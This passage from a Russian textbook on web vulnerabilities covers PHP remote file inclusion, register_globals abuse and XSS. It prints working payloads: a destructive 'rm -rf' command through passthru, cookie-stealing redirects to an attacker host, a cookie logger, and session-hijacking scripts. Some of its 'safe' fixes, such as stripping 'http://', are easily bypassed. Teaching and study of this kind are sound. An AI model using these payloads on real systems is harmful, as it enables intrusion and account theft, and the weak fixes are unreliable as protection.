Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Иванов Разрушаюсчие программные воздействия 2011

.pdf
Скачиваний:
154
Добавлен:
16.08.2013
Размер:
2.56 Mб
Скачать

Переменная «$template» явно указывает на имя файла, который будет включать в себя некоторый необходимый для исполнения скрипт.

Пример использования уязвимости

Если брать за пример уязвимого кода скрипт, приведенный выше, то становится очевидным, что в данном коде нет никаких проверок, является ли передаваемый файл действительно файлом

«html».

Простейший пример атаки на подобный файл – это запрос к нему, выполненный следующим образом:

http://example.ru/page.php?template=http://attack.ru/attack.html

Передаваемый в запросе файл «attack.html» может содержать следующий элементарный код:

1<?php

2passthru ('rm –rf ../../../etc/passwd ');

3?>

Директива «passthru» выполняет внешнюю программу, заданную ее аргументом, и осуществляет вывод в таком виде, в каком результаты работы данной директивы выводятся на экран терминала. Очевидно, что злоумышленник может использовать значительно более изощренные методы.

Пример безопасного кода

Для того чтобы защититься от атаки, подобной приведенной выше, существуют несколько способов. Одним из них является проверка передаваемого параметра на то, что он действительно является html-файлом шаблона, однако более разумным является отказ от использования подобного механизма и использование иного подхода с полным отказом от передачи внешнего параметра для указания на шаблон.

281

Приведем пример проверки передаваемого параметра на то, что он действительно является файлом шаблона, а не ссылкой на внешний файл.

Самый часто применяемый в таком случае прием приводится в скрипте ниже:

1<?php

2$path = $HTTP_GET_VARS['template'];

3if(!empty($path))

4{

5$path = str_replace("http://","",$path);

6include("$path");

7}

8?>

Вфункции «str_replace» происходит отсекание префикса «http», который позволяет обращаться к ресурсам на других серверах.

Другим вариантом защиты является использование отдельной папки для файлов, которые могут быть включены в скрипт. Например, это может быть папка «docs/» для html-документов.

1<?php

2$path = $HTTP_GET_VARS['template'];

3if(!empty($path))

4{

5include("docs/" . $path);

6}

7?>

Наконец, полностью исключающим любую возможность атаки является следующий прием:

1<?php

2$pages = array(1 => “main.html”, 2 => “news.html”);

3If(($index < 1) or ($index > 2))

4$index = 1;

5include $pages[$index];

6?>

282

7.2.2. Уязвимость использования глобальных переменных

Суть уязвимости

По умолчанию некоторые интерпретируемые языки программирования используют большинство переменных как глобальные. Естественно, это очень удобно для программиста, но с подобным подходом также связано много уязвимостей.

Обычно уязвимость, связанная с использованием в скрипте глобальных переменных, проявляется при наличии в скриптах поддержки механизмов сеансов (сессий). Данный механизм, в частности, позволяет проводить авторизацию для получения доступа к страницам сайта.

Если обратиться к языку PHP, то скрипт, обрабатывающий запрос из формы регистрации, обычно выглядит следующим образом:

1<?php

2if ($dbpass == $pass) {

3session_register("myname");

4session_register("fullname");

5session_register("userid");

6header("Location: index2.php");

7}

8?>

Если пароль, который ввел пользователь ($pass), и пароль из базы данных ($dbpass) совпадают, то значения переменных сохраняются в сессию.

После этого пользователь перенаправляется на страницу, к которой он хочет получить доступ (в примере это «index2.php»).

Именно в такой ситуации наличие глобальных переменных может привести к атаке злоумышленников.

Пример уязвимого кода

Как правило, уязвимости, связанные с использованием глобальных переменных, проявляются в скриптах, на которые перенаправляется пользователь после удачного прохождения авторизации.

283

Рассмотрим пример подобного уязвимого кода страницы, на который выполняет перенаправление приведенный выше скрипт.

1<?php

2if (!$PHPSESSID) {

3header("Location: index.php");

4exit(0);

5} else {

6session_start();

7if (!$myname) session_register("myname");

8if (!$fullname) session_register("fullname");

9if (!$userid) session_register("userid");

10}

11?>

Если браузеру не был выдан идентификатор сессии, то пользователя отправляют на страницу ввода пароля. Если же браузеру выдан идентификатор сессии, то скрипт возобновляет сессию и восстанавливает из сессии предварительно сохраненные в ней переменные в глобальную область видимости.

Пример использования уязвимости

Использовать подобную уязвимость можно, сформировав следующий URI:

http://example.ru/index2.php?PHPSESSID=1&myname=admin&fu

llname=jo&userid=admin

Переменные, которые передаются методом GET ($PHPSESSID, $myname, $fullname и $userid), сразу же попадают в глобальную область видимости по умолчанию. А если обратить внимание на структуру операторов «if – else», то можно заметить, что скрипт просто проверяет идентификатор сессии на наличие, и в случае положительного исхода проверки можно присвоить переменным, которые отвечают за авторизацию пользователя, любые значения.

284

Пример безопасного кода

Для того чтобы сделать код более безопасным, в последних версиях серверных приложений крайне настоятельно рекомендуется отказаться от использования глобальных переменных. С логической точки зрения, такой отказ не несет за собой какихлибо тотальных ограничений на возможности создаваемых программ, а лишь принуждает программиста использовать хотя и более изощренные, но, тем не менее, гораздо более безопасные методы программирования.

Итак, если брать во внимание интерпретатор PHP, то самый простой способ защитить скрипты от таких глобальных зарегистрированных переменных заключается в использовании директивы «register_globals OFF», которую необходимо прописать в конфигурационном файле «php.ini».

Справедливости ради надо заметить, что почти во всех последних версиях серверного программного обеспечения данная директива имеет значение «off».

Еще одним решением, хотя и не самым надежным, будет проверка значений элементов глобальных массивов $HTTP_SESSION_VARS['userid'] или $_SESSION['userid'] вместо проверки значений переменной «$userid».

7.2.3. Уязвимость внедрения команд

Суть уязвимости

Уязвимость внедрения команд возникает из-за ошибок в серверных скриптах и приложениях, работающих с вводимыми пользователем данными. Если атакующий получит возможность вставить произвольный код вместо данных, ожидаемых приложением, то он сможет управлять отображением web-страницы с правами самого сайта.

Главная ошибка заключается в том, что ввод не проверяется серверным скриптом перед тем, как передать результат браузеру. Это позволяет вставить в уязвимую страницу произвольный поль-

285

зовательский код. Иногда пользовательский ввод не обрабатывается скриптом непосредственно, а вставляется в файл или базу данных, и после этого забирается оттуда для вставки в страницу.

Традиционным местом для ошибок внедрения команд являются страницы, выводящие всевозможные подтверждения, и страницы с сообщениями об ошибках, сообщающие пользователю, что именно он ввел не так.

Примеров подобных уязвимостей может быть множество, и сценарии атаки, которые может смоделировать злоумышленник, также разнообразны.

Пример уязвимого кода

Обратим внимание на то, что существуют две разновидности подобных атак: с использованием запросов GET и запросов POST.

Рассмотрим примеры обоих небезопасных скриптов. Сначала приведем пример уязвимого кода, использующего запрос GET:

<?php echo "Здравствуйте, {$HTTP_GET_VARS['name']}!"; ?>

Скрипт обрабатывает данные, которые он получает из URLстроки запроса. Данный запрос может формироваться произвольным методом. Фактически, это самый элементарный возможный пример.

Приведем аналогичный пример приложения, которое использует метод POST.

Сначала приведем листинг формы, которая будет получать введенное пользователем собственное имя и передавать его скрипту.

1<form action="1.php" method=POST>

2<input type="text" name="first_name" value="Введите Ваше имя">

3<input type="submit" value="Отправить">

4</form>

Приведем пример скрипта, который выводит приветствие конкретному пользователю.

1<?php

2$str = "Здравствуйте, ".$_REQUEST["first_name"];

286

3echo $str;

4?>

Пример использования уязвимости

Атака на скрипт, использующий метод GET, более простая, но при этом может и быстрее быть обнаруженной.

Простейший способ перехода – вставка кода на JavaScript с перенаправлением на другую страницу. Таким образом, внедрив подобную вставку, можно отправить на посторонний сервер значения переменных, доступных только из текущего документа. Приведем несколько примеров того, что может быть использовано злоумышленником для внедрения.

document.location.replace('http://attack.ru/payload');

Данная строка, будучи переданной, а затем исполненной атакуемой страницей, может привести к тому, что злоумышленник получит контроль над исполнением страницы.

Если немного модифицировать этот код, то можно получить следующую строку:

document.location.replace

('http://attack.ru/payload?c='+document.cookie);

При использовании подобной вставки злоумышленник может добиться того, что сервер атакующего будет получать информацию о «cookie» жертвы. В случае упомянутой выше уязвимой страницы вставка кода является относительно простой:

http://example.ru/hello.php?name=<script>document.location.

replace('http://attacker/payload?c='%2Bdocument.cookie)<

/script>

Чтобы скрыть от пользователя перенаправления и прочий подозрительный код в строке адреса, можно использовать замену каждого символа его шестнадцатеричным значением, которому предшествует символ «%». Тем не менее, этот прием делает URI/URL слишком громоздким и по умолчанию протоколируется большинством web-серверов.

287

Скрипты, уязвимые к POST-вставкам, лишь немногим сложнее атаковать. Поскольку POST-переменные передаются независимо от URI/URL-скрипта, необходимо использовать промежуточную страницу. Цель промежуточной страницы – заставить клиента отправить POST-запрос, содержащий нужный злоумышленнику код.

В следующем примере создается и отправляется от имени пользователя форма, в которой атакующий сформировал значения переменных:

<form name="f" method="POST" action="http://example.ru/hello.php"> <input type="hidden" name="name" value="<script>document.location.replace

('http://attacker/payload?c='+document.cookie)</script>">

</form>

<script>document.f.submit()</script>

После того как жертва откроет промежуточную страницу, она вынудит браузер отправить POST-запрос к «hello.php» с переменной «name», получившей следующее значение:

<script>

document.location.replace('http://attack.ru/payload?c=

'+document.cookie)

</script>

Цель атакующего достигнута, код передан уязвимой странице. Вместо вставки кода для перехода атакующий может, путем вставки статического HTML-кода, модифицировать отображаемое содержимое уязвимой страницы. Там может находиться, к примеру, код формы с приглашением для ввода логина, резуль-

тат работы которой получит атакующий.

Этот прием позволяет обойти сертификаты сайтов или ручную проверку адреса клиентом. Если внедренный HTML-код будет позднее отображен на динамической странице (в гостевой книге, на форуме и т.п.), то страница будет выглядеть «взломан-

288

ной». В общем, встраиваемый код может быть самым разным и полностью зависит от фантазии атакующего.

После обнаружения уязвимой страницы, создания кода перехода, вставки его в уязвимую страницу и исполнения кода перехода браузером жертвы, остается сделать еще один шаг. Страница, на которую перенаправили жертву, должна выполнить некоторые действия. Они могут быть простейшими, например вывод рекламы или запись данных, или более сложными, например перехват информации о пользовательской сессии (сеансе). Перенаправлением пользователя на другую страницу может, к примеру, решаться простая задача перехвата посетителей с атакуемой страницы. Чуть более сложной является задача протоколирования cookie-информации для последующего ручного использования. Следующий код записывает IP-адрес посетителя, значение HTTP-заголовка и значение «cookie», переданное через переменную «c» (см. предыдущий пример):

1<?php

2$f = fopen("log.txt", "a");

3fwrite($f, "IP: {$_SERVER['REMOTE_ADDR']} Ref: {$_SERVER ['HTTP_REFERER']} Cookie: {$HTTP_GET_VARS['c']}\n");

4fclose($f);

5?>

После того как атакующий получил значения «cookie», он может извлечь из них полезную информацию или попытаться перехватить информацию о сессии. Предполагая, что серверная сторона считает сессию незавершенной, атакующий может модифицировать свои «cookie» с целью перехвата данных сессии. Автоматизировав использование украденных «cookie», атакующий значительно увеличивает свои шансы и упрощает атаку. При этом скрипт использует информацию, предоставленную обманутым клиентом, для выполнения своей задачи. В следующем примере скрипт атакующего использует «cookie» для получения исходного кода защищенной web-страницы:

1<?php

2$request = "GET /secret.php HTTP/1.0\r\n";

3$request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n";

289

4$request .= "\r\n";

5$s = fsockopen("host", 80, $errno, $errstr, 30);

6fputs($s, $request);

7$content = '';

8while (!feof($s))

9{

10$content .= fgets($s, 4096);

11}

12fclose($s);

13echo $content;

14?>

Вэтом случае скрипту «/secret.php» передается украденный «cookie», после чего результат выводится в браузере. Модифицировав содержимое запроса, можно выполнить практически любую задачу от имени пользователя. Следующий код использует метод POST для подмены почтового адреса пользователя без его ведома:

1<?php

2$request = "POST /profile.php HTTP/1.0\r\n";

3$request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n";

4$request .= "\r\n";

5$request .= "email=attacker@hotmail.com";

6$s = fsockopen("host", 80, $errno, $errstr, 30);

7fputs($s, $request);

8fclose($s);

9echo "<script>document.location.replace

10('http://google.com/')</script>";

11?>

Пример безопасного кода

Для того чтобы сделать код безопасным, следует со всей тщательностью относиться к обработке вводимых пользователем данных. Для этого во многих интерпретируемых языках существуют соответствующие функции.

В табл. 7.8 приведены некоторые из этих функций, определенные в самом распространенном интерпретируемом языке – PHP.

290

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]